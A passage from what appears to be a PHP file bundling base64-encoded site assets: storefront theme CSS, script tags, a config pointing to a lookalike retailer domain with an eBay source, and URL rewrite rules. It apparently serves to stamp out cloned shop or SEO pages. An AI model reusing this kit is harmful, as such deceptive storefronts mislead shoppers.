QwcHgKICAgICAgICAgICAgfQogICAgICAgICAgICAuY29udGFpbmVyLWZsdWlkIC5lbGVtZW50b3ItdG9wLXNlY3Rpb24uZWxlbWVudG9yLXNlY3Rpb24tZnVsbF93aWR0aCA+IC5lbGVtZW50b3ItY29sdW1uLWdhcC1ubyB7CiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMDsKICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMDsKICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgLnZpZXctc3dpdGNoZXIgbGkubWVudS1pdGVtID4gYSA+IFtjbGFzcyo9J2ZsYWctJ10gewogICAgICAgICAgICBkaXNwbGF5OiBub25lCiAgICAgICAgfQogICAgICAgICNoZWFkZXIgLnBvcnRvLXZpZXctc3dpdGNoZXIgPiBsaS5tZW51LWl0ZW0gPiBhIHsKICAgICAgICAgICAgZm9udC1zaXplOiAuNjI1cmVtOwogICAgICAgICAgICBmb250LXdlaWdodDogNTAwCiAgICAgICAgfQogICAgICAgIC5oZWFkZXItc2lkZS1uYXYgLnNpZGViYXItbWVudSA+IGxpLm1lbnUtaXRlbSA+IC5hcnJvdzpiZWZvcmUgewogICAgICAgICAgICBvcGFjaXR5OiAuNAogICAgICAgIH0KICAgICAgICAucG9ydG8tcHJvZHVjdHMtZmlsdGVyLWJvZHkgLnNpZGViYXIgewogICAgICAgICAgICBwYWRkaW5nLXRvcDogMAogICAgICAgIH0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHsKICAgICAgICAgICAgI2hlYWRlciAuc2VhcmNoZm9ybSB7CiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiAyZW0KICAgICAgICAgICAgfQogICAgICAgICAgICAuaGVhZGVyLXdyYXBwZXIgI2hlYWRlciAuc2VhcmNoZm9ybSBidXR0b24gewogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogMTJweAogICAgICAgICAgICB9CiAgICAgICAgICAgIC5oZWFkZXItd3JhcHBlciAjaGVhZGVyIC5zZWFyY2hmb3JtIGlucHV0IHsKICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMTVweDsKICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvCiAgICAgICAgICAgIH0KICAgICAgICAgICAgI2hlYWRlciAuaGVhZGVyLWNvbnRhY3QgewogICAgICAgICAgICAgICAgZmxleDogMCAwIGF1dG87CiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjEyNXJlbTsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICAgICAgICAgICAgICBvcmRlcjogMAogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICNoZWFkZXIgLnNoYXJlLWxpbmtzIGEgewogICAgICAgICAgICBmb250LXNpemU6IDFyZW07CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAuNXJlbTsKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAuNXJlbQogICAgICAgIH0KICAgICAgICAuaGVhZGVyLXNpZGUtbmF2IC5zaWRlYmFyLW1lbnUgewogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwOwogICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC0yMHB4CiAgICAgICAgfQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiAxNDM5cHgpIHsKICAgICAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gYSwgLnRvZ2dsZS1tZW51LXdyYXAgLnNpZGViYXItbWVudSA+IGxpLm1lbnUtaXRlbSA+IGEgewogICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDE3cHgKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAucG9ydG8taWJhbm5lci1sYXllciAuYnRuLWZsYXQuYnRuLXhsIHsKICAgICAgICAgICAgZm9udC1zaXplOiAxLjEyNWVtCiAgICAgICAgfQogICAgICAgIC5vd2wtY2Fyb3VzZWwubmF2LXN0eWxlLTQgLm93bC1uYXYgW2NsYXNzKj0ib3dsLSJdIHsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMAogICAgICAgIH0KICAgICAgICAuc2luZ2xlLXByb2R1Y3QgLnByb2R1Y3QtbGF5b3V0LXRyYW5zcGFyZW50IHsKICAgICAgICAgICAgbWFyZ2luLXRvcDogLTIwcHgKICAgICAgICB9CiAgICAgICAgdWwucHJvZHVjdHMgbGkucHJvZHVjdC1vbmltYWdlMyAucHJvZHVjdC1jb250ZW50IHsKICAgICAgICAgICAgb3BhY2l0eTogMTsKICAgICAgICAgICAgYm90dG9tOiAwCiAgICAgICAgfQogICAgICAgIC5wYWdpbmF0aW9uLmxvYWQtbW9yZSAubmV4dCB7CiAgICAgICAgICAgIHdpZHRoOiBhdXRvOwogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDA7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsKICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4OwogICAgICAgICAgICBwYWRkaW5nOiAxNHB4IDQwcHgKICAgICAgICB9CiAgICAgICAgLmNvdXBvbi1zYWxlLXRleHQgYiB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxZW0KICAgICAgICB9CiAgICAgICAgLmNvdXBvbi1zYWxlLXRleHQgYjpiZWZvcmUgewogICAgICAgICAgICBjb250ZW50OiAnJzsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICBsZWZ0OiAtLjVlbTsKICAgICAgICAgICAgdG9wOiAtLjFlbTsKICAgICAgICAgICAgcmlnaHQ6IC0uNWVtOwogICAgICAgICAgICBib3R0b206IC0uMWVtOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyNTI5OwogICAgICAgICAgICB6LWluZGV4OiAtMTsKICAgICAgICAgICAgdHJhbnNmb3JtOiByb3RhdGUoLTEuNWRlZykgc2tldygxLjVkZWcpCiAgICAgICAgfQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdF90aXRsZSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBQb3BwaW5zCiAgICAgICAgfQogICAgICAgICNjb250ZW50LWJvdHRvbSArIC5wb3J0by1yZWxhdGVkLXByb2R1Y3RzIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y0ZjRmNDsKICAgICAgICAgICAgcGFkZGluZy10b3A6IDQwcHgKICAgICAgICB9CiAgICAgICAgLnR5cGUtcHJvZHVjdCA+IC5wb3J0by1yZWxhdGVkLXByb2R1Y3RzIHsKICAgICAgICAgICAgcGFkZGluZy10b3A6IDQwcHgKICAgICAgICB9CiAgICAgICAgLmZvb3Rlci10b3AgLnBvcnRvLWJsb2NrIHsKICAgICAgICAgICAgYm9yZGVyLXdpZHRoOiAxcHggMDsKICAgICAgICAgICAgYm9yZGVyLXN0eWxlOiBzb2xpZDsKICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjZTdlN2U3CiAgICAgICAgfQogICAgICAgICNmb290ZXIgLndpZGdldC10aXRsZSB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMAogICAgICAgIH0KICAgICAgICAjZm9vdGVyIC5zaGFyZS1saW5rcyBhIHsKICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZTsKICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgICAgICB3aWR0aDogMzZweDsKICAgICAgICAgICAgaGVpZ2h0OiAzNnB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxOHB4CiAgICAgICAgfQogICAgICAgICNmb290ZXIgLmNvbnRhY3QtaW5mbyBpIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZQogICAgICAgIH0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gLmNvbnRhY3QtZGV0YWlscyBzdHJvbmcsICNmb290ZXIgLmNvbnRhY3QtaW5mbyAuY29udGFjdC1kZXRhaWxzIHNwYW4gewogICAgICAgICAgICBwYWRkaW5nOiAwCiAgICAgICAgfQogICAgICAgICNmb290ZXIgLmNvbnRhY3QtaW5mbyAuY29udGFjdC1kZXRhaWxzIHN0cm9uZyB7CiAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7CiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxCiAgICAgICAgfQogICAgICAgICNmb290ZXIgLmZvb3Rlci1tYWluID4gLmNvbnRhaW5lciB7CiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAyLjI1cmVtOwogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogMAogICAgICAgIH0KICAgICAgICAjZm9vdGVyIC5mb290ZXItbWFpbiA+IC5jb250YWluZXI6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAnJzsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTdlN2U3CiAgICAgICAgfQogICAgICAgICNmb290ZXIgLndpZGdldF93eXNpamFfY29udCAud3lzaWphLWlucHV0IHsKICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y0ZjRmNDsKICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNXJlbTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMnJlbSAwIDAgMnJlbTsKICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxLjI1cmVtCiAgICAgICAgfQogICAgICAgICNmb290ZXIgLndpZGdldF93eXNpamFfY29udCAud3lzaWphLXN1Ym1pdCB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogLjgxMjVyZW07CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDAgMnJlbSAycmVtIDA7CiAgICAgICAgICAgIHBhZGRpbmc6IDAgMS41cmVtCiAgICAgICAgfQogICAgICAgICNmb290ZXIgLmZvb3Rlci1ib3R0b20gewogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogM3JlbTsKICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4CiAgICAgICAgfQogICAgICAgIC5ob21lLXNsaWRlciAucG9ydG8taWJhbm5lciB7CiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoCiAgICAgICAgfQogICAgfQo8L3N0eWxlPgo8c3R5bGU+CiAgICAuc2l6ZXMtdGFibGUgdGhlYWQgdGggewogICAgICAgIGJhY2tncm91bmQ6ICNmNGY0ZjI7CiAgICB9CiAgICAuc2l6ZXMtdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKSA+ICogewogICAgICAgIGJhY2tncm91bmQ6ICNlYmViZWI7CiAgICB9CiAgICAuc2l6ZXMtdGFibGUgdGhlYWQgdGggewogICAgICAgIHBhZGRpbmc6IDMwcHggMCAzMHB4IDEwcHg7CiAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsKICAgIH0KICAgIC5zaXplcy10YWJsZSB0Ym9keSB0ZCB7CiAgICAgICAgcGFkZGluZzogMTJweCAwIDEycHggMTBweDsKICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgIH0KICAgIEBtZWRpYSAobWluLXdpZHRoOiA1NzZweCkgewogICAgICAgIC5zaXplcy10YWJsZSB0aGVhZCB0aDpmaXJzdC1jaGlsZCwgLnNpemVzLXRhYmxlIHRib2R5IHRoIHsKICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAzMHB4OwogICAgICAgIH0KICAgIH0KPC9zdHlsZT4KPHN0eWxlPgogICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC03M2IzNTZiIHsKICAgICAgICBwYWRkaW5nOiAyLjI1ZW0gMGVtIDFlbSAwZW07CiAgICB9CiAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTI0MWY4ZjUgLnBvcnRvLWljb24gewogICAgICAgIGZvbnQtc2l6ZTogMzVweDsKICAgICAgICBjb2xvcjogIzIyMjUyOTsKICAgICAgICBiYWNrZ3JvdW5kOiAjRjRGNEY0OwogICAgfQogICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1pY29uIHN2ZyB7CiAgICAgICAgZmlsbDogIzIyMjUyOTsKICAgIH0KICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8tc2ljb24taW1nLnBvcnRvLXUtY2lyY2xlLWltZzpiZWZvcmUgewogICAgICAgIGJvcmRlci1jb2xvcjogI0Y0RjRGNDsKICAgIH0KICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8tc2ljb24taW1nIHsKICAgICAgICBiYWNrZ3JvdW5kOiAjRjRGNEY0OwogICAgICAgIGJvcmRlci1yYWRpdXM6IDUwcHg7CiAgICB9CiAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTI0MWY4ZjUgLnBvcnRvLWljb24uYWR2YW5jZWQgewogICAgICAgIGJvcmRlci1yYWRpdXM6IDUwcHg7CiAgICAgICAgd2lkdGg6IDgwcHg7CiAgICAgICAgaGVpZ2h0OiA4MHB4OwogICAgICAgIGxpbmUtaGVpZ2h0OiA4MHB4OwogICAgfQogICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1zaWNvbi10aXRsZSB7CiAgICAgICAgZm9udC1zaXplOiAxcmVtOwogICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICAgICAgbGluZS1oZWlnaHQ6IDEuMmVtOwogICAgfQogICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1zaWNvbi1oZWFkZXIgcCB7CiAgICAgICAgZm9udC1zaXplOiAwLjg3NXJlbTsKICAgICAgICBmb250LXdlaWdodDogNTAwOwogICAgICAgIGxpbmUtaGVpZ2h0OiAxZW07CiAgICB9CiAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTI0MWY4ZjUgLnBvcnRvLXNpY29uLWRlc2NyaXB0aW9uIHsKICAgICAgICBmb250LXNpemU6IDAuODEyNXJlbTsKICAgIH0KICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8taWNvbiB7CiAgICAgICAgZm9udC1zaXplOiAzNXB4OwogICAgICAgIGNvbG9yOiAjMjIyNTI5OwogICAgICAgIGJhY2tncm91bmQ6ICNGNEY0RjQ7CiAgICB9CiAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLWljb24gc3ZnIHsKICAgICAgICBmaWxsOiAjMjIyNTI5OwogICAgfQogICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0zMTJhZWU5IC5wb3J0by1zaWNvbi1pbWcucG9ydG8tdS1jaXJjbGUtaW1nOmJlZm9yZSB7CiAgICAgICAgYm9yZGVyLWNvbG9yOiAjRjRGNEY0OwogICAgfQogICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0zMTJhZWU5IC5wb3J0by1zaWNvbi1pbWcgewogICAgICAgIGJhY2tncm91bmQ6ICNGNEY0RjQ7CiAgICAgICAgYm9yZGVyLXJhZGl1czogNTBweDsKICAgIH0KICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8taWNvbi5hZHZhbmNlZCB7CiAgICAgICAgYm9yZGVyLXJhZGl1czogNTBweDsKICAgICAgICB3aWR0aDogODBweDsKICAgICAgICBoZWlnaHQ6IDgwcHg7CiAgICAgICAgbGluZS1oZWlnaHQ6IDgwcHg7CiAgICB9CiAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLXNpY29uLXRpdGxlIHsKICAgICAgICBmb250LXNpemU6IDFyZW07CiAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDsKICAgICAgICBsaW5lLWhlaWdodDogMS4yZW07CiAgICB9CiAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLXNpY29uLWhlYWRlciBwIHsKICAgICAgICBmb250LXNpemU6IDAuODc1cmVtOwogICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7CiAgICAgICAgbGluZS1oZWlnaHQ6IDFlbTsKICAgIH0KICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8tc2ljb24tZGVzY3JpcHRpb24gewogICAgICAgIGZvbnQtc2l6ZTogMC44MTI1cmVtOwogICAgfQogICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1pY29uIHsKICAgICAgICBmb250LXNpemU6IDM1cHg7CiAgICAgICAgY29sb3I6ICMyMjI1Mjk7CiAgICAgICAgYmFja2dyb3VuZDogI0Y0RjRGNDsKICAgIH0KICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtOTUwN2U3NSAucG9ydG8taWNvbiBzdmcgewogICAgICAgIGZpbGw6ICMyMjI1Mjk7CiAgICB9CiAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLXNpY29uLWltZy5wb3J0by11LWNpcmNsZS1pbWc6YmVmb3JlIHsKICAgICAgICBib3JkZXItY29sb3I6ICNGNEY0RjQ7CiAgICB9CiAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLXNpY29uLWltZyB7CiAgICAgICAgYmFja2dyb3VuZDogI0Y0RjRGNDsKICAgICAgICBib3JkZXItcmFkaXVzOiA1MHB4OwogICAgfQogICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1pY29uLmFkdmFuY2VkIHsKICAgICAgICBib3JkZXItcmFkaXVzOiA1MHB4OwogICAgICAgIHdpZHRoOiA4MHB4OwogICAgICAgIGhlaWdodDogODBweDsKICAgICAgICBsaW5lLWhlaWdodDogODBweDsKICAgIH0KICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtOTUwN2U3NSAucG9ydG8tc2ljb24tdGl0bGUgewogICAgICAgIGZvbnQtc2l6ZTogMXJlbTsKICAgICAgICBmb250LXdlaWdodDogNzAwOwogICAgICAgIGxpbmUtaGVpZ2h0OiAxLjJlbTsKICAgIH0KICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtOTUwN2U3NSAucG9ydG8tc2ljb24taGVhZGVyIHAgewogICAgICAgIGZvbnQtc2l6ZTogMC44NzVyZW07CiAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsKICAgICAgICBsaW5lLWhlaWdodDogMWVtOwogICAgfQogICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1zaWNvbi1kZXNjcmlwdGlvbiB7CiAgICAgICAgZm9udC1zaXplOiAwLjgxMjVyZW07CiAgICB9CiAgICAuYm90dG9tLWFkcyAucG9ydG8tc2ljb24taGVhZGVyICsgLnBvcnRvLXNpY29uLWRlc2NyaXB0aW9uIHsKICAgICAgICBtYXJnaW4tdG9wOiAuNXJlbQogICAgfQogICAgLmJvdHRvbS1hZHMgLmxlZnQtaWNvbiAucG9ydG8tc2ljb24tbGVmdCB7CiAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZQogICAgfQo8L3N0eWxlPgo=', 'static.js.html' => 'PHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvanF1ZXJ5Lm1pbi5qcz92ZXI9My42LjEnPjwvc2NyaXB0Pgo8c2NyaXB0IGlkPSdwb3J0by10aGVtZS1qcy1leHRyYSc+CiAgICB2YXIganNfcG9ydG9fdmFycyA9IHsKICAgICAgICAicnRsIjogIiIsCiAgICAgICAgInRoZW1lX3VybCI6ICIvd3AtY29udGVudC90aGVtZXMvcG9ydG8iLAogICAgICAgICJhamF4X3VybCI6ICIvc2Fhcy1zZW8vYWRtaW4tYWpheC5waHAiLAogICAgICAgICJjaGFuZ2VfbG9nbyI6ICIxIiwKICAgICAgICAiY29udGFpbmVyX3dpZHRoIjogIjExNDAiLAogICAgICAgICJncmlkX2d1dHRlcl93aWR0aCI6ICIyMCIsCiAgICAgICAgInNob3dfc3RpY2t5X2hlYWRlciI6ICIxIiwKICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX3RhYmxldCI6ICIxIiwKICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX21vYmlsZSI6ICIxIiwKICAgICAgICAiYWpheF9sb2FkZXJfdXJsIjogIi93cC1jb250ZW50L3RoZW1lcy9wb3J0by9pbWFnZXMvYWpheC1sb2FkZXJAMnguZ2lmIiwKICAgICAgICAiY2F0ZWdvcnlfYWpheCI6ICIiLAogICAgICAgICJjb21wYXJlX3BvcHVwIjogIiIsCiAgICAgICAgImNvbXBhcmVfcG9wdXBfdGl0bGUiOiAiIiwKICAgICAgICAicHJkY3RmbHRyX2FqYXgiOiAiIiwKICAgICAgICAic2xpZGVyX2xvb3AiOiAiMSIsCiAgICAgICAgInNsaWRlcl9hdXRvcGxheSI6ICIxIiwKICAgICAgICAic2xpZGVyX2F1dG9oZWlnaHQiOiAiMSIsCiAgICAgICAgInNsaWRlcl9zcGVlZCI6ICI1MDAwIiwKICAgICAgICAic2xpZGVyX25hdiI6ICIiLAogICAgICAgICJzbGlkZXJfbmF2X2hvdmVyIjogIjEiLAogICAgICAgICJzbGlkZXJfbWFyZ2luIjogIiIsCiAgICAgICAgInNsaWRlcl9kb3RzIjogIjEiLAogICAgICAgICJzbGlkZXJfYW5pbWF0ZWluIjogIiIsCiAgICAgICAgInNsaWRlcl9hbmltYXRlb3V0IjogIiIsCiAgICAgICAgInByb2R1Y3RfdGh1bWJzX2NvdW50IjogIjQiLAogICAgICAgICJwcm9kdWN0X3pvb20iOiAiMSIsCiAgICAgICAgInByb2R1Y3Rfem9vbV9tb2JpbGUiOiAiMSIsCiAgICAgICAgInByb2R1Y3RfaW1hZ2VfcG9wdXAiOiAiMSIsCiAgICAgICAgInpvb21fdHlwZSI6ICJpbm5lciIsCiAgICAgICAgInpvb21fc2Nyb2xsIjogIjEiLAogICAgICAgICJ6b29tX2xlbnNfc2l6ZSI6ICIyMDAiLAogICAgICAgICJ6b29tX2xlbnNfc2hhcGUiOiAic3F1YXJlIiwKICAgICAgICAiem9vbV9jb250YWluX2xlbnMiOiAiMSIsCiAgICAgICAgInpvb21fbGVuc19ib3JkZXIiOiAiMSIsCiAgICAgICAgInpvb21fYm9yZGVyX2NvbG9yIjogIiM4ODg4ODgiLAogICAgICAgICJ6b29tX2JvcmRlciI6ICIwIiwKICAgICAgICAic2NyZWVuX2xnIjogIjExNjAiLAogICAgICAgICJtZnBfY291bnRlciI6ICIlY3VyciUgb2YgJXRvdGFsJSIsCiAgICAgICAgIm1mcF9pbWdfZXJyb3IiOiAiVGhlIGltYWdlIGNvdWxkIG5vdCBiZSBsb2FkZWQuIiwKICAgICAgICAibWZwX2FqYXhfZXJyb3IiOiAiVGhlIGNvbnRlbnQgY291bGQgbm90IGJlIGxvYWRlZC4iLAogICAgICAgICJwb3B1cF9jbG9zZSI6ICJDbG9zZSIsCiAgICAgICAgInBvcHVwX3ByZXYiOiAiUHJldmlvdXMiLAogICAgICAgICJwb3B1cF9uZXh0IjogIk5leHQiLAogICAgICAgICJyZXF1ZXN0X2Vycm9yIjogIlRoZSByZXF1ZXN0ZWQgY29udGVudCBjYW5ub3QgYmUgbG9hZGVkLjxici8+UGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4iLAogICAgICAgICJsb2FkZXJfdGV4dCI6ICJMb2FkaW5nLi4uIiwKICAgICAgICAic3VibWVudV9iYWNrIjogIkJhY2siLAogICAgICAgICJwb3J0b19ub25jZSI6ICJkOWI0MGM2NjFjIiwKICAgICAgICAidXNlX3NrZWxldG9uX3NjcmVlbiI6IFsic2hvcCIsICJwcm9kdWN0IiwgInF1aWNrdmlldyJdLAogICAgICAgICJ1c2VyX2VkaXRfcGFnZXMiOiAiIiwKICAgICAgICAicXVpY2tfYWNjZXNzIjogIkNsaWNrIHRvIGVkaXQgdGhpcyBlbGVtZW50LiIsCiAgICAgICAgImdvdG9fdHlwZSI6ICJHbyBUbyB0aGUgVHlwZSBCdWlsZGVyLiIsCiAgICAgICAgImxlZ2FjeV9tb2RlIjogIjEiLAogICAgICAgICJwcmVfb3JkZXIiOiAiIgogICAgfTsKPC9zY3JpcHQ+CjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvdGhlbWUuanM/dmVyPTYuNy4yJz48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvY29yZS5taW4uanM/dmVyPTEuMTMuMic+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC9zaW5nbGUtcHJvZHVjdC5taW4uanM/dmVyPTYuNy4wJz48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9ib290c3RyYXAuanM/dmVyPTUuMC4xJz48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9saWJzL293bC5jYXJvdXNlbC5taW4uanM/dmVyPTIuMy40Jz48L3NjcmlwdD4K', 'config.json' => 'ew0KICAiYXBpX3VybCIgOiAid3d3LmFtYXphYW4uY29tIiwNCiAgImFwaV9zcmMiIDogImViYXkiLA0KICAiYXBpX2V4dHJhIiA6ICJ1cyIsDQogICJuZ2lueCIgOiAiMCIsDQogICJkb21haW5faWQiIDogIjIiLA0KICAiYXBwX2lkIiA6ICJ7YXBwfSINCn0NCg==', 'web.config' => 'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPGNvbmZpZ3VyYXRpb24+CiAgICA8c3lzdGVtLndlYlNlcnZlcj4KICAgICAgICA8cmV3cml0ZT4KICAgICAgICAgICAgPHJ1bGVzPgogICAgICAgICAgICAgICAgPHJ1bGUgbmFtZT0iUmV3cml0ZSBkZXRhaWwiPgogICAgICAgICAgICAgICAgICAgIDxtYXRjaCB1cmw9Il5kZXRhaWwvKD86W15fXSopXyhbXi4vXSspXC5odG1sJCIgLz4KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9ZGV0YWlsJmFtcDtpPXtSOjF9IiAvPgogICAgICAgICAgICAgICAgPC9ydWxlPgogICAgICAgICAgICAgICAgPHJ1bGUgbmFtZT0iUmV3cml0ZSBjb2xsZWN0aW9uIDEiPgogICAgICAgICAgICAgICAgICAgIDxtYXRjaCB1cmw9Il5jb2xsZWN0aW9uLyg/OlteX10qKV8o